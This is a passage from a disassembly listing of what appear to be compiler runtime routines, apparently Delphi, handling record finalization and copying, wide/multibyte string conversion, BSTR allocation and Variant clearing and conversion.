		jz	short loc_403B65
		cmp	al, 0Dh
		jz	short loc_403B78
		cmp	al, 0Eh
		jz	short loc_403B96
		cmp	al, 0Fh
		jz	short loc_403B5B
		cmp	al, 11h
		jz	short loc_403B5B
		mov	al, 2
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403B5B:				; CODE XREF: sub_403B1C+15j
					; sub_403B1C+1Aj ...
		mov	[ebx], ecx
		add	ebx, 4
		dec	edi
		jg	short loc_403B5B
		jmp	short loc_403BAA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403B65:				; CODE XREF: sub_403B1C+1Fj
					; sub_403B1C+58j
		mov	[ebx], ecx
		mov	[ebx+4], ecx
		mov	[ebx+8], ecx
		mov	[ebx+0Ch], ecx
		add	ebx, 10h
		dec	edi
		jg	short loc_403B65
		jmp	short loc_403BAA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403B78:				; CODE XREF: sub_403B1C+24j
		push	ebp
		mov	ebp, edx

loc_403B7B:				; CODE XREF: sub_403B1C+75j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_403B1C
		dec	edi
		jg	short loc_403B7B
		pop	ebp
		jmp	short loc_403BAA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403B96:				; CODE XREF: sub_403B1C+29j
		push	ebp
		mov	ebp, edx

loc_403B99:				; CODE XREF: sub_403B1C+8Bj
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_403AF0
		dec	edi
		jg	short loc_403B99
		pop	ebp

loc_403BAA:				; CODE XREF: sub_403B1C+47j
					; sub_403B1C+5Aj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403B1C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403BB0	proc near		; CODE XREF: sub_403AF0+1Bp
		mov	ecx, 1
		jmp	sub_403B1C
sub_403BB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403BBC	proc near		; CODE XREF: sub_402B84+12p
					; sub_403BE8+B9p ...
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [edx+ecx+0Ah]
		mov	edi, [edx+ecx+6]

loc_403BCE:				; CODE XREF: sub_403BBC+24j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		call	sub_403CD0
		add	esi, 8
		dec	edi
		jg	short loc_403BCE
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403BBC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403BE8	proc near		; CODE XREF: sub_403BE8+A3p
					; sub_403CD0+5j ...
		cmp	ecx, 0
		jz	locret_403CCE
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_403C38
		cmp	al, 0Bh
		jz	short loc_403C52
		cmp	al, 0Ch
		jz	short loc_403C69
		cmp	al, 0Dh
		jz	short loc_403C78
		cmp	al, 0Eh
		jz	short loc_403C96
		cmp	al, 0Fh
		jz	loc_403CAC
		cmp	al, 11h
		jz	loc_403CBB
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C38:				; CODE XREF: sub_403BE8+1Dj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_403C49
		call	sub_4034C8
		jmp	loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C49:				; CODE XREF: sub_403BE8+55j
		mov	edx, ecx
		call	sub_4034EC
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C52:				; CODE XREF: sub_403BE8+22j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_403C60
		call	sub_403A90
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C60:				; CODE XREF: sub_403BE8+6Fj
		mov	edx, ecx
		call	sub_403AA8
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C69:				; CODE XREF: sub_403BE8+27j
					; sub_403BE8+8Cj
		mov	eax, ebx
		add	ebx, 10h
		call	sub_4043B8
		dec	edi
		jg	short loc_403C69
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C78:				; CODE XREF: sub_403BE8+2Cj
		push	ebp
		mov	ebp, edx

loc_403C7B:				; CODE XREF: sub_403BE8+A9j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_403BE8
		dec	edi
		jg	short loc_403C7B
		pop	ebp
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403C96:				; CODE XREF: sub_403BE8+31j
		push	ebp
		mov	ebp, edx

loc_403C99:				; CODE XREF: sub_403BE8+BFj
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_403BBC
		dec	edi
		jg	short loc_403C99
		pop	ebp
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403CAC:				; CODE XREF: sub_403BE8+36j
					; sub_403BE8+CFj
		mov	eax, ebx
		add	ebx, 4
		call	sub_404BD8
		dec	edi
		jg	short loc_403CAC
		jmp	short loc_403CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403CBB:				; CODE XREF: sub_403BE8+3Fj
					; sub_403BE8+E0j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_4045AC
		dec	edi
		jg	short loc_403CBB

loc_403CCA:				; CODE XREF: sub_403BE8+5Cj
					; sub_403BE8+68j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_403CCE:				; CODE XREF: sub_403BE8+3j
		retn
sub_403BE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403CD0	proc near		; CODE XREF: sub_403BBC+1Bp
					; sub_40D3B8+31p
		mov	ecx, 1
		jmp	sub_403BE8
sub_403CD0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403CDC	proc near		; CODE XREF: sub_403CDC+CFp
					; sub_403DF8+ACp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		xor	eax, eax
		mov	al, [ecx+1]
		lea	edi, [ecx+eax+0Ah]
		mov	ebp, [edi-4]
		xor	eax, eax
		mov	ecx, [edi-8]
		push	ecx

loc_403CF6:				; CODE XREF: sub_403CDC+100j
		mov	ecx, [edi+4]
		sub	ecx, eax
		jle	short loc_403D08
		mov	edx, eax
		add	eax, esi
		add	edx, ebx
		call	sub_4026B0

loc_403D08:				; CODE XREF: sub_403CDC+1Fj
		mov	eax, [edi+4]
		mov	edx, [edi]
		mov	edx, [edx]
		mov	cl, [edx]
		cmp	cl, 0Ah
		jz	short loc_403D47
		cmp	cl, 0Bh
		jz	short loc_403D58
		cmp	cl, 0Ch
		jz	short loc_403D69
		cmp	cl, 0Dh
		jz	short loc_403D7A
		cmp	cl, 0Eh
		jz	short loc_403D9A
		cmp	cl, 0Fh
		jz	loc_403DB3
		cmp	cl, 11h
		jz	loc_403DC4
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403D47:				; CODE XREF: sub_403CDC+38j
		mov	edx, [esi+eax]
		add	eax, ebx
		call	sub_40351C
		mov	eax, 4
		jmp	short loc_403DD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403D58:				; CODE XREF: sub_403CDC+3Dj
		mov	edx, [esi+eax]
		add	eax, ebx
		call	sub_403ACC
		mov	eax, 4
		jmp	short loc_403DD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403D69:				; CODE XREF: sub_403CDC+42j
		lea	edx, [esi+eax]
		add	eax, ebx
		call	sub_404074
		mov	eax, 10h
		jmp	short loc_403DD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403D7A:				; CODE XREF: sub_403CDC+47j
		xor	ecx, ecx
		mov	cl, [edx+1]
		push	dword ptr [edx+ecx+2]
		push	dword ptr [edx+ecx+6]
		mov	ecx, [edx+ecx+0Ah]
		mov	ecx, [ecx]
		lea	edx, [esi+eax]
		add	eax, ebx
		call	sub_403DF8
		pop	eax
		jmp	short loc_403DD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403D9A:				; CODE XREF: sub_403CDC+4Cj
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	ecx, [edx+ecx+2]
		push	ecx
		mov	ecx, edx
		lea	edx, [esi+eax]
		add	eax, ebx
		call	sub_403CDC
		pop	eax
		jmp	short loc_403DD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403DB3:				; CODE XREF: sub_403CDC+51j
		mov	edx, [esi+eax]
		add	eax, ebx
		call	sub_404BF0
		mov	eax, 4
		jmp	short loc_403DD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403DC4:				; CODE XREF: sub_403CDC+5Aj
		mov	ecx, edx
		mov	edx, [esi+eax]
		add	eax, ebx
		call	sub_4045E8
		mov	eax, 4

loc_403DD5:				; CODE XREF: sub_403CDC+7Aj
					; sub_403CDC+8Bj ...
		add	eax, [edi+4]
		add	edi, 8
		dec	ebp
		jnz	loc_403CF6
		pop	ecx
		sub	ecx, eax
		jle	short loc_403DF1
		lea	edx, [ebx+eax]
		add	eax, esi
		call	sub_4026B0

loc_403DF1:				; CODE XREF: sub_403CDC+109j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403CDC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403DF8	proc near		; CODE XREF: sub_403CDC+B6p
					; sub_403DF8+98p ...

arg_0		= dword	ptr  14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	ebp, [esp+arg_0]
		mov	cl, [edi]
		cmp	cl, 0Ah
		jz	short loc_403E3E
		cmp	cl, 0Bh
		jz	short loc_403E55
		cmp	cl, 0Ch
		jz	short loc_403E69
		cmp	cl, 0Dh
		jz	short loc_403E7D
		cmp	cl, 0Eh
		jz	short loc_403E9E
		cmp	cl, 0Fh
		jz	loc_403EBB
		cmp	cl, 11h
		jz	loc_403ECF
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403E3E:				; CODE XREF: sub_403DF8+13j
					; sub_403DF8+56j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_40351C
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_403E3E
		jmp	loc_403EE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403E55:				; CODE XREF: sub_403DF8+18j
					; sub_403DF8+6Dj
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_403ACC
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_403E55
		jmp	short loc_403EE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403E69:				; CODE XREF: sub_403DF8+1Dj
					; sub_403DF8+81j
		mov	eax, ebx
		mov	edx, esi
		call	sub_404074
		add	ebx, 10h
		add	esi, 10h
		dec	ebp
		jnz	short loc_403E69
		jmp	short loc_403EE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403E7D:				; CODE XREF: sub_403DF8+22j
		xor	ecx, ecx
		mov	cl, [edi+1]
		lea	edi, [edi+ecx+2]

loc_403E86:				; CODE XREF: sub_403DF8+A2j
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, [edi+8]
		push	dword ptr [edi+4]
		call	sub_403DF8
		add	ebx, [edi]
		add	esi, [edi]
		dec	ebp
		jnz	short loc_403E86
		jmp	short loc_403EE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403E9E:				; CODE XREF: sub_403DF8+27j
					; sub_403DF8+BFj
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, edi
		call	sub_403CDC
		xor	eax, eax
		mov	al, [edi+1]
		add	ebx, [edi+eax+2]
		add	esi, [edi+eax+2]
		dec	ebp
		jnz	short loc_403E9E
		jmp	short loc_403EE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403EBB:				; CODE XREF: sub_403DF8+2Cj
					; sub_403DF8+D3j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_404BF0
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_403EBB
		jmp	short loc_403EE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403ECF:				; CODE XREF: sub_403DF8+35j
					; sub_403DF8+E9j
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, edi
		call	sub_4045E8
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_403ECF

loc_403EE3:				; CODE XREF: sub_403DF8+58j
					; sub_403DF8+6Fj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_403DF8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403EEC	proc near		; CODE XREF: sub_403F78+1Ap

var_800		= byte ptr -800h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF800h
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		test	ebx, ebx
		jnz	short loc_403F09
		mov	eax, esi
		call	sub_4034C8
		jmp	short loc_403F6A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403F09:				; CODE XREF: sub_403EEC+12j
		cmp	ebx, 400h
		jge	short loc_403F37
		push	0
		push	0
		push	800h
		lea	eax, [esp+80Ch+var_800]
		push	eax
		push	ebx
		push	edi
		push	0
		push	0
		call	j_WideCharToMultiByte
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_4035B0
		jmp	short loc_403F6A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403F37:				; CODE XREF: sub_403EEC+23j
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	edi
		push	0
		push	0
		call	j_WideCharToMultiByte
		mov	ebp, eax
		mov	eax, esi
		mov	ecx, ebp
		xor	edx, edx
		call	sub_4035B0
		push	0
		push	0
		push	ebp
		mov	eax, [esi]
		push	eax
		push	ebx
		push	edi
		push	0
		push	0
		call	j_WideCharToMultiByte

loc_403F6A:				; CODE XREF: sub_403EEC+1Bj
					; sub_403EEC+49j
		add	esp, 800h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403EEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403F78	proc near		; CODE XREF: sub_404238+12p

var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	0
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+4+var_4], ebx
		mov	eax, [esp+4+var_4]
		push	eax
		call	j_SysStringLen
		mov	edx, eax
		mov	ecx, esi
		mov	eax, ebx
		call	sub_403EEC
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_403F78	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403F9C	proc near		; CODE XREF: sub_404268+7p

var_800		= byte ptr -800h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF800h
		mov	ebx, eax
		mov	eax, ebx
		call	sub_403724
		mov	esi, eax
		mov	eax, ebx
		call	sub_403724
		cmp	eax, 400h
		jge	short loc_403FEA
		push	400h
		lea	eax, [esp+804h+var_800]
		push	eax
		push	esi
		mov	eax, ebx
		call	sub_4038E8
		push	eax
		push	0
		push	0
		call	j_MultiByteToWideChar
		push	eax
		lea	eax, [esp+804h+var_800]
		push	eax
		call	j_SysAllocStringLen
		mov	edi, eax
		jmp	short loc_404012
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403FEA:				; CODE XREF: sub_403F9C+21j
		push	0
		push	0
		push	esi
		push	ebx
		push	0
		push	0
		call	j_MultiByteToWideChar
		mov	ebp, eax
		push	ebp
		push	0
		call	j_SysAllocStringLen
		mov	edi, eax
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	0
		push	0
		call	j_MultiByteToWideChar

loc_404012:				; CODE XREF: sub_403F9C+4Cj
		mov	eax, edi
		add	esp, 800h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F9C	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404020	proc near		; CODE XREF: sub_404194+4Ap
					; sub_404194+98p
					; DATA XREF: ...
		mov	al, 0Fh
		jmp	sub_402618
sub_404020	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404028:				; CODE XREF: CODE:00404106j
					; DATA XREF: sub_405880+6Do ...
		mov	al, 10h
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404030	proc near		; CODE XREF: sub_404194+51p
					; sub_404238+19p ...
		xor	edx, edx
		mov	dx, [eax]
		test	edx, 4000h
		jnz	short loc_404065
		cmp	edx, 8
		jb	short loc_404065
		cmp	edx, 100h
		jz	short loc_404058
		cmp	edx, 101h
		jnz	short loc_40406B
		jmp	ds:dword_41E3E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404058:				; CODE XREF: sub_404030+18j
		mov	word ptr [eax],	0
		add	eax, 8
		jmp	sub_4034C8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404065:				; CODE XREF: sub_404030+Bj
					; sub_404030+10j
		mov	word ptr [eax],	0
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40406B:				; CODE XREF: sub_404030+20j
		push	eax
		call	j_VariantClear
		retn
sub_404030	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404074	proc near		; CODE XREF: sub_403CDC+92p
					; sub_403DF8+75p ...
		cmp	eax, edx
		jz	locret_40410C
		cmp	word ptr [eax],	8
		jb	short loc_4040AC
		push	eax
		push	edx
		cmp	word ptr [eax],	100h
		jz	short loc_4040A2
		cmp	word ptr [eax],	101h
		jz	short loc_40409A
		push	eax
		call	j_VariantClear
		jmp	short loc_4040AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40409A:				; CODE XREF: sub_404074+1Cj
		call	ds:dword_41E3E0
		jmp	short loc_4040AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4040A2:				; CODE XREF: sub_404074+15j
		add	eax, 8
		call	sub_4034C8

loc_4040AA:				; CODE XREF: sub_404074+24j
					; sub_404074+2Cj
		pop	edx
		pop	eax

loc_4040AC:				; CODE XREF: sub_404074+Cj
		cmp	word ptr [edx],	8
		jnb	short loc_4040C3
sub_404074	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4040B2	proc near		; CODE XREF: CODE:004040D2p
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	ecx, [edx+0Ch]
		mov	[eax+0Ch], ecx
		retn
sub_4040B2	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4040C3:				; CODE XREF: sub_404074+3Cj
		cmp	word ptr [edx],	100h
		jz	short loc_4040DE
		cmp	word ptr [edx],	101h
		jnz	short loc_4040F8
		push	eax
		call	sub_4040B2
		pop	eax
		jmp	ds:dword_41E3E8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4040DE:				; CODE XREF: CODE:004040C8j
		mov	edx, [edx+8]
		or	edx, edx
		jz	short loc_4040EF
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_4040EF
		lock inc     dword ptr [edx-8]

loc_4040EF:				; CODE XREF: CODE:004040E3j
					; CODE:004040E9j
		mov	word ptr [eax],	100h
		mov	[eax+8], edx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4040F8:				; CODE XREF: CODE:004040CFj
		mov	word ptr [eax],	0
		push	edx
		push	eax
		call	j_VariantCopyInd
		or	eax, eax
		jnz	loc_404028

locret_40410C:				; CODE XREF: sub_404074+2j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404110	proc near		; CODE XREF: sub_40417C+Ap
					; sub_404194+6Fp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		lea	edi, [ebp+var_10]
		push	ecx
		mov	ecx, 4
		repe movsd
		pop	ecx
		mov	esi, ecx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		call	sub_4043C0
		xor	eax, eax
		push	ebp
		push	offset loc_40416C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		call	ds:dword_41E3E4
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		mov	ecx, esi
		call	sub_404194
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404173

loc_404163:				; CODE XREF: CODE:00404171j
		lea	eax, [ebp+var_10]
		call	sub_4043B8
		retn
sub_404110	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40416C:				; DATA XREF: sub_404110+26o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_404163
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404173:				; DATA XREF: sub_404110+4Eo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40417C	proc near		; CODE XREF: sub_404194+25p
					; sub_404194+7Cp
		push	ebx
		xor	ebx, ebx
		cmp	word ptr [edx],	101h
		jnz	short loc_40418D
		call	sub_404110
		mov	bl, 1

loc_40418D:				; CODE XREF: sub_40417C+8j
		mov	eax, ebx
		pop	ebx
		retn
sub_40417C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404194	proc near		; CODE XREF: sub_404110+41p
					; sub_404288+5Ep ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	ax, [ebx]
		sub	ax, 100h
		jz	short loc_4041B3
		dec	ax
		jz	short loc_4041FD
		jmp	short loc_40420A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4041B3:				; CODE XREF: sub_404194+16j
		mov	edx, esi
		mov	eax, ebx
		mov	ecx, edi
		call	sub_40417C
		test	al, al
		jnz	short loc_404231
		mov	word ptr [ebp+var_10], 0
		push	edi
		push	0
		push	400h
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	j_VariantChangeTypeEx
		test	eax, eax
		jz	short loc_4041E3
		call	sub_404020

loc_4041E3:				; CODE XREF: sub_404194+48j
		mov	eax, ebx
		call	sub_404030
		mov	eax, [ebp+var_10]
		mov	[ebx], eax
		mov	eax, [ebp+var_8]
		mov	[ebx+8], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax
		jmp	short loc_404231
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4041FD:				; CODE XREF: sub_404194+1Bj
		mov	edx, esi
		mov	eax, ebx
		mov	ecx, edi
		call	sub_404110
		jmp	short loc_404231
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40420A:				; CODE XREF: sub_404194+1Dj
		mov	edx, esi
		mov	eax, ebx
		mov	ecx, edi
		call	sub_40417C
		test	al, al
		jnz	short loc_404231
		push	edi
		push	0
		push	400h
		push	esi
		push	ebx
		call	j_VariantChangeTypeEx
		test	eax, eax
		jz	short loc_404231
		call	sub_404020

loc_404231:				; CODE XREF: sub_404194+2Cj
					; sub_404194+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404194	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404238	proc near		; CODE XREF: sub_404288+96p
					; sub_404288+C3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	eax, [edx+8]
		lea	edx, [ebp+var_4]
		call	sub_403F78
		mov	eax, ebx
		call	sub_404030
		mov	word ptr [ebx],	100h
		mov	eax, [ebp+var_4]
		mov	[ebx+8], eax
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_404238	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404268	proc near		; CODE XREF: sub_404288+30p
					; sub_404288+43p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, [edx+8]
		call	sub_403F9C
		mov	esi, eax
		mov	eax, ebx
		call	sub_404030
